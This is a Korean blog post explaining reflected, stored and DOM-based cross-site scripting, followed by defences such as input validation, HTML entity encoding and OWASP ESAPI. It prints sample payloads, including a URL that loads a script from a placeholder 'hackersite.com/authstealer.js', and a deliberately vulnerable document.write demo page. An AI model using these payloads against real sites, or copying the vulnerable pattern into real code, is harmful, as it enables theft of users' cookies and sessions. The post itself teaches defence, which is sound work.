ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [WEB] XSS(Cross Site Scripting - 크로스 사이트 스크립팅)이란???
    Front-end/Web 2020. 8. 9. 19:42
    반응형

    잠깐, 들어가기 전에

    웹 어플리케이션을 만들 때 가장 중요하게 생각하는 것은 무엇일까?

    웹사이트의 기능, 퍼포먼스, 그리고 화려한 조명같은 멋진 디자인도 중요하다.

    무언가가 빠진 것 같은데... 사람들이 간과하고 있는 것들이 종종 있다. 

     

    보안(Security)이다.

    Fancy하고 빠릿빠릿한 웹사이트도 사용자의 정보를 빼내는데 이용된다면...?

    보안이 뚫려버린 웹 사이트... 생각만해도 끔찍하다.

    우리가 만들고 있는 웹페이지는 안전하다고 할 수 있을까...?

     

    4년전 한국사업기술보호협회(KAITS)에서 인턴을 할 때, 보안관제라는 고된 노동을 했었다.

    해커들이 각 국 (중국, 동남아, 동남아,, 그리고 중국...그리고 중국)에서 각종 공격을 뿜어낸다.

    그 중에 많은 것을 차지하는 것들이 XSS, SQL injection, TCP Flood 등의 공격 유형들이다.

    학교 또는 학원에서 보안을 조금 공부했던 기억이 있다면, 충분히 익숙한 이름의 공격들이지만 의외로 방어를 하지 않는 곳들이 많다.

     

    [그림1] 악성코드 주요 전파 경로별 분류


    XSS (Cross Site Scripting - 크로스 사이트 스크립팅)

     

    사이트 간 스크립팅(크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.

    주로 여러 사용자가 보게 되는 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지(Validation) 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능수행하게 할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 한다. (위키피디아)

     

    XSS 취약점은 OWASP(국제웹보안표준기구) Top 10 – 2013에도 여전히 3번째 높은 위험으로 매겨져 있을정도로 눈여겨 봐야한다.

    XSS 공격은 웹에 존재하는 취약점을 기반으로 웹 서버와 클라이언트간 통신 방식인 HTTP 프로토콜 동작과정 중에 발생한다. 이 공격은 브라우저로 전달되는 데이터(payload)에 악성 스크립트가 포함되어 사용자의 브라우저에서 실행되면서 해킹을 한다. 그리고 포함된 공격용 악성 스크립트는 공격자가 웹 서버에 구현된 웹 애플리케이션의 XSS 취약점을 이용하여 서버 측 또는 URL에 미리 삽입을 해놓은 것이다.

     

    해커는 이를 통해

    1. 사용자 쿠키, 세션 및 개인정보 취득 (정상적인 사용자인척 할 수 있음)

    2. 악성코드 다운로드 (트로이 목마, 악성코드가 있는 url 리다이렉트)

    3. 시스템 관리자 권한 획득 (웹사이트 외의 PC내의 정보까지 획득)

    등의 이득을(?) 취할 수 있다.

     

     

     

    T.M.I 우리가 흔히 아는 CSS (Cascading Style Sheet)과 헷갈리지 않기 위해서 XSS라고 부른다고 한다.


    XSS (Non-persistent, 비지속적 기법) 

    표준화된 XSS 공격의 기법은 없지만, 흔히 비지속적, 지속적, Dom-based 기법으로 나뉜다.

     

    "반사식 XSS 공격은 웹 애플리케이션의 지정된 변수를 이용할 때 발생하는 취약점을 이용하는 것으로, 검색 결과, 에러 메시지 등 서버가 외부에서 입력받은 값을 받아 브라우저에게 응답할 때 전송하는 과정에서 입력되는 변수의 위험한 문자를 사용자에게 그대로 돌려주면서 발생한다."(KISA) 라고 많이 소개한다. 

     

    하지만, 이해가 안된다면 쉽게 풀어보자.

    반사 XSS 공격으로도 알려진 비지속적 기법 공격은 악성 스크립트가 포함된 URL을 사용자가 클릭하도록 유도하여 URL을 클릭하면 클라이언트를 공격하는 것이다.

    [그림 2] 반사식 XSS 공격기법

    1. 탐색: 해커는 XSS 공격이 가능할만한 웹사이트를 찾아본다.

    2 준비 그리고 개시: 해커는 wesite url에 사용자의 정보(세션, 쿠키)를 훔칠 수 있는 scrit를 숨긴다.

      -> 성공조건여기서 주로 Victim(피해자)들에게 email이나 sns를 통해 scrip가 포함된 url을 클릭하도록 유도한다. 

    3. 발생: 이 링크를 클릭한 불쌍한 유저가 클릭하면, script에 적혀있는 악성코드가 작동한다.

     3-1 “XSS” alert를 작동하도록 쿼리를 만든다 "<script type=’text/javascript’>alert(‘XSS’);</script >"

     3-2 "XSS" 라는 alert이 울린다.

     3-3 웹사이트가 Vulnerable(위험)하다고 알리고, 문제없어 보이는 링크로 위장한 유해한 사이트로 유인한다.  

          http://forum.com?q=news<\script%20src=”http://hackersite.com/authstealer.js

    4. 결과: 불쌍한 Victim(피해자, 유저 그리고 아마도 나, 당신)의 정보(세션, 쿠키 등)이 전달된다.

     

     

    • 반사 XSS 공격이 더 흔하다. -> 가장 일반적 (이상한 url을 클릭하라는 문자, 메일, sns 의심해야한다)
    • 반사 XSS 공격은 유저가 조심한다면 피할 수 있다.
    • 공격자는 가능한 많은 potential victim에게 전송한다.

    아래의 주소처럼 공격자는 주소에 malicious한 script를 넣는다. (인코딩이나 bit.ly를 쓰면 사용자는 알아보기 힘들다)

     http://www.server.com/search/?q=<script>alert(document.cookie)</script>&x=0&y=0

     

     

     


    XSS (Persistent, 지속적 기법) 

    저장 XSS 공격(지속적 공격)은 [그림 2]와 같이 웹 애플리케이션 취약점이 있는 웹 서버에 악성 스크립트를 영구적으로 저장해 놓는 방법이다.

    가장 일반적인 방법은 사람들이 자주 사용하는 게시판 같은 곳에 HTML 문서에 <script>를 이용하여 이 스크립트 태그 안에 악성 스크립트를 저장하는 방식이다. (주로 html, markdown 등 많은 에디터를 서포트한다.) 즉 텍스트만 표시되도록 설계된 어떤 게시판에 <script> // 악성스크립트 로직 </script>과 같은 태그를 포함한다. 이 경우에 게시판에는 태그가 나타나지 않으며 사용자는 확인할 수가 없다.

    사용자가 이 스크립트가 담긴 게시판의 글을 볼 때마다, 해당 스크립트는 실행이 된다. 스크립트 로직에 세션, 쿠키, 아이디, 비밀번호와 같은 정보를 탈취하거나 공격자가 의도한 사이트로 리다이렉트를 할 수 있다.

     

    [그림3] 저장 XSS 공격방법

    1. 탐색: 해커는 XSS 공격이 가능할만한 웹사이트를 찾아본다.

    2 준비 그리고 개시: 해커는 wesite url에 사용자의 정보(세션, 쿠키)를 훔칠 수 있는 scrit를 숨긴다.

    3. 발생: 불쌍한 유저가 게시판을 방문할 때마다, script에 적혀있는 악성코드가 작동한다.

    4. 결과: 불쌍한 Victim(피해자, 유저 그리고 아마도 나, 당신)의 정보(세션, 쿠키 등)이 전달된다.


    XSS (Dom-based 기법) 

     

    앞에서 다룬 저장 XSS 및 반사 XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면, DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

    서버에서 탐지가 어렵다... 

     

    [그림4] Dom-based xss 기법

    1. 탐색: 해커는 malicious한 문자열이 담긴 URL을 이메일과 같은 전송수단을 통해 victim(피해자)에게 보낸다.

    2. 서버 요청: 이번에도 불쌍한 유저는 이 링크를 열고, malicious한 url을 요청한다.

    3. 서버 반응: 서버는 요청을 받지만, malicious한 string을 response에 담아 보내지는 않는다.

    4-5. 작동: 유저의 브라우저에서 malicious script 실행

    6. 결과: 불쌍한 Victim(피해자, 유저 그리고 아마도 나, 당신)의 정보(세션, 쿠키 등)이 전달된다.

    <HTML> <TITLE>Welcome!</TITLE> Hi
    <script>
    var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
    </script> <br>
    Welcome to our system
    This demo borrowed from http://www.server.com/page.html?name=<script>alert(document.cookie)</script>
    </HTML>
    
    

     


    XSS 예방 및 대책

     

    1. 입・출력값 검증 및 무효화 (Validation)

      XSS 취약점을 근본적으로 제거하기 위해서는 XSS Cheat Sheet를 참고하여 스크립트 등 해킹에 사용되는 입력 및 출력 값에 대해서 검증하고 무효화시켜야 한다. Validation에 대한 노력은 아껴도 아껴도 모자라지 않다.

      출력 값을 무효화하기 위해서는 XSS 공격은 기본적으로 <script> 태그를 사용하기 때문에 XSS 공격을 차단하기 위해 태그 문자(<, >) 등 위험한 문자 입력 시 기본적으로 문자 참조(HTML entity)로 필터링한다. 예를 들어 "<script>"의 "<"를 “&lt;”로 인코딩할 수 있다. 

     

     

    2. 보안 라이브러리 (AntiXSS, OWASP ESAPI 라이브러리 등등)

     

     OWASP는 보안을 위해 웹 응용 취약점을 대응할 수 있는 오픈소스 ESAPI 라이브러리를 제공한다. XSS 취약점을 예방하기 위해 API는 validator와 encoder가 있다. 그 중, validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다.


    참고

    Imperva: www.imperva.com/learn/application-security/reflected-xss-attacks/
    Wiki: ko.wikipedia.org/wiki/사이트_간_스크립팅
    Noirstar님 블로그: https://noirstar.tistory.com/266 
    KISA: www.kisa.or.kr/uploadfile/201312/201312161355109566.pdf

     

    반응형

    'Front-end > Web' 카테고리의 다른 글

    [Group Study] HTTP  (0) 2022.12.08
    [WEB] 브라우저는 어떻게 렌더링할까?  (0) 2020.05.04
    [WEB] CORS(Cross Origin Resource Sharing) 개념  (0) 2020.05.03

    댓글

Designed by Tistory.